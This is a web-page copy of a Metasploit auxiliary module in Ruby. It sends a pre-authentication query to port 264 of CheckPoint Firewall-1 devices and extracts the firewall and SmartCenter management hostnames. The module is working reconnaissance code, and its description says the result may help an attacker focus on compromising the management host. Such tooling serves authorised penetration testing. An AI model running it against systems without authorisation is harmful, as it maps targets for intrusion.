Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/checkpoint_hostname.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure',12'Description' => %q{13This module sends a query to the port 264/TCP on CheckPoint Firewall-114firewalls to obtain the firewall name and management station15(such as SmartCenter) name via a pre-authentication request. The string16returned is the CheckPoint Internal CA CN for SmartCenter and the firewall17host. Whilst considered "public" information, the majority of installations18use detailed hostnames which may aid an attacker in focusing on compromising19the SmartCenter host, or useful for government, intelligence and military20networks where the hostname reveals the physical location and rack number21of the device, which may be unintentionally published to the world.22},23'Author' => [ 'aushack' ],24'DisclosureDate' => '2011-12-14', # Looks like this module is first real reference25'References' =>26[27# aushack - None? Stumbled across, probably an old bug/feature but unsure.28[ 'URL', 'https://web.archive.org/web/20120508142715/http://www.osisecurity.com.au/advisories/checkpoint-firewall-securemote-hostname-information-disclosure' ],29[ 'URL', 'https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360' ]30]31))3233register_options(34[35Opt::RPORT(264),36])37end3839def autofilter40false41end4243def run44print_status("Attempting to contact Checkpoint FW1 SecuRemote Topology service...")45fw_hostname = nil46sc_hostname = nil4748connect4950sock.put("\x51\x00\x00\x00")51sock.put("\x00\x00\x00\x21")52res = sock.get_once(4)53if (res and res == "Y\x00\x00\x00")54print_good("Appears to be a CheckPoint Firewall...")55sock.put("\x00\x00\x00\x0bsecuremote\x00")56res = sock.get_once57if (res and res =~ /CN=(.+),O=(.+)\./i)58fw_hostname = $159sc_hostname = $260print_good("Firewall Host: #{fw_hostname}")61print_good("SmartCenter Host: #{sc_hostname}")62end63else64print_error("Unexpected response: '#{res.inspect}'")65end6667report_info(fw_hostname,sc_hostname)6869disconnect70end7172# Only trust that it's real if we have a hostname. If you get a funny73# response, it might not be what we think it is.74def report_info(fw_hostname,sc_hostname)75return unless fw_hostname76host_info = {77:host => datastore['RHOST'],78:os_name => "Checkpoint Firewall-1",79:purpose => "firewall"80}81host_info[:name] = fw_hostname82host_info[:info] = "SmartCenter Host: #{sc_hostname}" if sc_hostname83report_host(host_info)84svc_info = {85:host => datastore['RHOST'],86:port => datastore['RPORT'],87:proto => "tcp",88:name => "securemote"89}90report_service(svc_info)91end92end939495